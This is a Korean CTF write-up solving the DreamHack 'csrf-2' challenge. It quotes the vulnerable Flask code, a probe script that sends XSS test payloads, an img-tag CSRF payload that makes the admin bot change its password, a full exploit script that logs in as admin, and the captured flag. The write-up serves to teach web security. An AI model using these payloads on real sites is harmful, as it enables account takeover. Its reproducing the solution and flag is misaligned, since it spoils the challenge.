[🥉 Bronze 3] img 한 줄로 봇을 시켜 admin 비밀번호를 바꾸기 — DreamHack csrf-2 풀이

def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    ...
    driver.get("http://127.0.0.1:8000/")
    driver.add_cookie(cookie)      # ← 여기에 admin sessionid 가 들어온다
    driver.get(url)                # ← 내가 지정한 URL 방문
 
def check_csrf(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)

@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param", "")
        session_id = os.urandom(16).hex()
        session_storage[session_id] = 'admin'        # ← 봇 세션 = admin
        if not check_csrf(param, {"name":"sessionid", "value": session_id}):
            return '<script>alert("wrong??");history.go(-1);</script>'
        return '<script>alert("good");history.go(-1);</script>'

users = {
    'guest': 'guest',
    'admin': FLAG            # ← admin 비밀번호가 곧 FLAG
}
 
@app.route("/")
def index():
    ...
    return render_template('index.html',
        text=f'Hello {username}, {"flag is " + FLAG if username == "admin" else "you are not an admin"}')
 
@app.route("/vuln")
def vuln():
    param = request.args.get("param", "").lower()
    xss_filter = ["frame", "script", "on"]
    for _ in xss_filter:
        param = param.replace(_, "*")
    return param             # ← 필터 후 그대로 반사
 
@app.route("/change_password")
def change_password():
    pw = request.args.get("pw", "")
    session_id = request.cookies.get('sessionid', None)
    username = session_storage[session_id]   # 요청자 = 봇이면 admin
    users[username] = pw                      # ← GET 한 번으로 비번 변경
    return 'Done'

# probe.py — /vuln 필터가 무엇을 막고 통과시키는지 확인
import requests
B = "http://host3.dreamhack.games:11571"
tests = [
    '<img src="/change_password?pw=x">',   # CSRF 페이로드 — 필터 통과 예상
    '<script>alert(1)</script>',           # script 차단
    '<img src=x onerror=alert(1)>',        # on 차단
    '<iframe src=x>',                      # frame 차단
]
for t in tests:
    r = requests.get(f"{B}/vuln", params={"param": t}, timeout=10)
    print(f"보낸 param : {t}")
    print(f"반사 결과  : {r.text}\n")

<img src="/change_password?pw=pwned1234">

#!/usr/bin/env python3
import sys, re, requests
 
BASE = "http://host3.dreamhack.games:11571"
NEW_PW = "pwned1234"
 
s = requests.Session()
# 1) CSRF payload 전송 → 봇(admin)이 /change_password 를 대신 호출
payload = f'<img src="/change_password?pw={NEW_PW}">'
r = s.post(f"{BASE}/flag", data={"param": payload}, timeout=15)
print("[*] /flag POST ->", r.status_code, repr(r.text.strip()[:60]))
 
# 2) 바뀐 비밀번호로 admin 로그인
s2 = requests.Session()
r = s2.post(f"{BASE}/login",
            data={"username": "admin", "password": NEW_PW},
            allow_redirects=False, timeout=15)
print("[*] /login  ->", r.status_code, "set-cookie:", r.headers.get("Set-Cookie"))
if "sessionid" not in (r.headers.get("Set-Cookie") or ""):
    sys.exit("[!] 로그인 실패 — payload 미반영")
 
# 3) index 에서 flag 회수
r = s2.get(f"{BASE}/", timeout=15)
m = re.search(r"DH\{[^}]*\}", r.text)
print("\nFLAG:", m.group(0) if m else "(미검출)")

FLAG: DH{c57d0dc12bb9ff023faf9a0e2b49e470a77271ef}